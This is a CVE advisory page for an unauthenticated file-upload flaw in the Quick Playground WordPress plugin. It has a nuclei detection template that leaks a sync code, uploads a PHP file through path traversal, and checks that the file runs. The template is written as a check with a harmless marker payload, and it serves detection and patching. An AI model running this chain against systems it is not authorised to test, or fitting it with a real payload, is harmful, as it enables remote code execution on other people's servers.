HexBrain

Browse / CVEs / CVE-2026-1830

CVE-2026-1830· davidfcarr / quick-playground· CWE-862

Quick Playground <= 1.3.1 - Missing Authorization to Unauthenticated Arbitrary File Upload

criticalseverity
9.8CVSS score
8.1%likelihood of exploitation, next 30 days
95%of all CVEs are less likely
Readycheck to confirm it

The Quick Playground plugin for WordPress is vulnerable to remote code execution in all versions up to, and including, 1.3.1. The plugin exposes a blueprint REST API endpoint (permission_callback: __return_true) that leaks the sync code, and an upload_image endpoint that accepts file uploads with path traversal in the filename parameter without sufficient authorization checks, which can be chained into arbitrary PHP file upload and RCE.

Impact

Unauthenticated attackers can retrieve the sync code via the blueprint endpoint, upload arbitrary PHP files via path traversal in the upload_image endpoint, and achieve remote code execution on the server.

Fix

Update Quick Playground to version 1.3.2 or later.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/quick-playground/readme.txt
Positive when: contains(body, "Quick Playground") and compare_versions(version, "<= 1.3.1")
Send: GET /wp-json/quickplayground/v1/blueprint/default
Positive when: matches /"qckply_sync_code"\s*:\s*"[a-zA-Z0-9]+"/
Send: POST /wp-json/quickplayground/v1/upload_image/default
Positive when: status_code == 200 and contains(body, "saving to")
Send: GET {{BaseURL}}/wp-content/{{filename}}
Positive when: status_code == 200 and contains(body, "CVE-2026-1830")

Run it with nuclei: nuclei -id CVE-2026-1830 -u <target>

The full check
id: CVE-2026-1830

info:
  name: Quick Playground <= 1.3.1 - Missing Authorization to Unauthenticated Arbitrary File Upload
  author: iamatownboy
  severity: critical
  description: |
    The Quick Playground plugin for WordPress is vulnerable to remote code execution in all versions up to, and including, 1.3.1.
    The plugin exposes a blueprint REST API endpoint (permission_callback: __return_true) that leaks the sync code, and an upload_image endpoint that accepts file uploads with path traversal in the filename parameter without sufficient authorization checks, which can be chained into arbitrary PHP file upload and RCE.
  impact: |
    Unauthenticated attackers can retrieve the sync code via the blueprint endpoint, upload arbitrary PHP files via path traversal in the upload_image endpoint, and achieve remote code execution on the server.
  remediation: |
    Update Quick Playground to version 1.3.2 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-1830
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/308cd28a-a477-4bc6-a392-ad5a9eca1cb5?source=cve
    - https://plugins.trac.wordpress.org/browser/quick-playground/trunk/api.php#L39
    - https://plugins.trac.wordpress.org/browser/quick-playground/trunk/expro-api.php#L419
    - https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3500839%40quick-playground&new=3500839%40quick-playground&sfp_email=&sfph_mail=
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-1830
    epss-score: 0.08095
    epss-percentile: 0.94863
    cwe-id: CWE-862
  metadata:
    verified: true
    max-request: 4
    vendor: davidfcarr
    product: quick-playground
    framework: wordpress
    publicwww-query: "/plugins/quick-playground/"
  tags: cve,cve2026,wordpress,wp,wp-plugin,quick-playground,unauth,rce,file-upload,intrusive,vkev

variables:
  filename: "{{rand_text_alpha(8)}}.php"

flow: http(1) && http(2) && http(3) && http(4)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/quick-playground/readme.txt"

    matchers:
      - type: dsl
        dsl:
          - contains(body, "Quick Playground")
          - compare_versions(version, "<= 1.3.1")
        condition: and
        internal: true

    extractors:
      - type: regex
        name: version
        part: body
        group: 1
        regex:
          - '(?i)Stable tag:\s*([0-9.]+)'
        internal: true

  - raw:
      - |
        GET /wp-json/quickplayground/v1/blueprint/default HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: regex
        part: body
        regex:
          - '"qckply_sync_code"\s*:\s*"[a-zA-Z0-9]+"'
        internal: true

    extractors:
      - type: regex
        name: sync_code
        part: body
        group: 1
        regex:
          - '"qckply_sync_code"\s*:\s*"([a-zA-Z0-9]+)"'
        internal: true

  - raw:
      - |
        POST /wp-json/quickplayground/v1/upload_image/default HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"sync_code":"{{sync_code}}","base64":"PD9waHAgZWNobyAiQ1ZFLTIwMjYtMTgzMCI7ID8+","filename":"../../{{filename}}"}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body, "saving to")
        condition: and
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/{{filename}}"

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body, "CVE-2026-1830")
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from